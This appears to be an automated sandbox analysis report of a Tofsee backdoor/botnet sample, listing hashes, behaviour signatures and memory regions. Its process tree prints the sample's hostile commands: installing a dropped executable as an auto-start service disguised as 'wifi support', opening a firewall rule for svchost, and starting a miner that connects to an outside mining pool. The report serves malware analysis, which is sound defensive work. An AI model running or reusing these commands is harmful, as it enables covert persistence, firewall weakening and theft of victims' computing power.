Analysis

  • max time kernel
    142s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    14-11-2020 18:06

General

  • Target

    4e6e0bffa3feed749295145cfc2b06af64a2debf32a4e308b7985ff629c872d2.exe

  • Size

    14.8MB

  • MD5

    7d62b10e5ddec91dd71e2224ef250e88

  • SHA1

    e82fe7aa0c16df2c2e111b75a413da22bc40b72d

  • SHA256

    4e6e0bffa3feed749295145cfc2b06af64a2debf32a4e308b7985ff629c872d2

  • SHA512

    bad2a9f4114c78047230b928ad0182782218165297d4c020f468c5c6abbd3db1430a6ed08f75b9a2b1bcca2a7026aa71370e0d7f285b140aacb7384b408222a1

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4e6e0bffa3feed749295145cfc2b06af64a2debf32a4e308b7985ff629c872d2.exe
    "C:\Users\Admin\AppData\Local\Temp\4e6e0bffa3feed749295145cfc2b06af64a2debf32a4e308b7985ff629c872d2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:912
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ieutpzha\
      2⤵
        PID:1352
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qhdkbaei.exe" C:\Windows\SysWOW64\ieutpzha\
        2⤵
          PID:1216
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ieutpzha binPath= "C:\Windows\SysWOW64\ieutpzha\qhdkbaei.exe /d\"C:\Users\Admin\AppData\Local\Temp\4e6e0bffa3feed749295145cfc2b06af64a2debf32a4e308b7985ff629c872d2.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1348
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ieutpzha "wifi internet conection"
            2⤵
              PID:292
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ieutpzha
              2⤵
                PID:332
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:844
            • C:\Windows\SysWOW64\ieutpzha\qhdkbaei.exe
              C:\Windows\SysWOW64\ieutpzha\qhdkbaei.exe /d"C:\Users\Admin\AppData\Local\Temp\4e6e0bffa3feed749295145cfc2b06af64a2debf32a4e308b7985ff629c872d2.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:572
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1616
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:884

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\qhdkbaei.exe

              MD5

              3bcdb64699fe8c32ef6f023c71147b1a

              SHA1

              8d0050bd1dc22c8f418b932a380a9de86ebcad6e

              SHA256

              c039ce8509f4e0df31db20c9c54d65dc2a7b503c7223c0dec23e1d05b8b6371d

              SHA512

              805c06bc6b168a0e160494659344114c0b1b4c0e98580333dfd20c92ee28bfbfa5be65904764688c83af274254c88d84e6df6da870389c1b88e7d74de724f9fd

            • C:\Windows\SysWOW64\ieutpzha\qhdkbaei.exe

              MD5

              3bcdb64699fe8c32ef6f023c71147b1a

              SHA1

              8d0050bd1dc22c8f418b932a380a9de86ebcad6e

              SHA256

              c039ce8509f4e0df31db20c9c54d65dc2a7b503c7223c0dec23e1d05b8b6371d

              SHA512

              805c06bc6b168a0e160494659344114c0b1b4c0e98580333dfd20c92ee28bfbfa5be65904764688c83af274254c88d84e6df6da870389c1b88e7d74de724f9fd

            • memory/292-6-0x0000000000000000-mapping.dmp

            • memory/332-7-0x0000000000000000-mapping.dmp

            • memory/572-11-0x00000000028D0000-0x00000000028E1000-memory.dmp

              Filesize

              68KB

            • memory/572-10-0x00000000024B7000-0x00000000024B8000-memory.dmp

              Filesize

              4KB

            • memory/844-9-0x0000000000000000-mapping.dmp

            • memory/884-21-0x00000000002C0000-0x00000000003B1000-memory.dmp

              Filesize

              964KB

            • memory/884-24-0x000000000035259C-mapping.dmp

            • memory/884-22-0x00000000002C0000-0x00000000003B1000-memory.dmp

              Filesize

              964KB

            • memory/912-0-0x00000000023B7000-0x00000000023B8000-memory.dmp

              Filesize

              4KB

            • memory/912-1-0x0000000003DB0000-0x0000000003DC1000-memory.dmp

              Filesize

              68KB

            • memory/1216-3-0x0000000000000000-mapping.dmp

            • memory/1348-5-0x0000000000000000-mapping.dmp

            • memory/1352-2-0x0000000000000000-mapping.dmp

            • memory/1616-15-0x0000000001D10000-0x0000000001F1F000-memory.dmp

              Filesize

              2.1MB

            • memory/1616-16-0x00000000001D0000-0x00000000001D6000-memory.dmp

              Filesize

              24KB

            • memory/1616-17-0x00000000001E0000-0x00000000001F0000-memory.dmp

              Filesize

              64KB

            • memory/1616-18-0x00000000002C0000-0x00000000002C5000-memory.dmp

              Filesize

              20KB

            • memory/1616-19-0x00000000056C0000-0x0000000005ACB000-memory.dmp

              Filesize

              4.0MB

            • memory/1616-20-0x00000000002D0000-0x00000000002D7000-memory.dmp

              Filesize

              28KB

            • memory/1616-13-0x0000000000089A6B-mapping.dmp

            • memory/1616-12-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB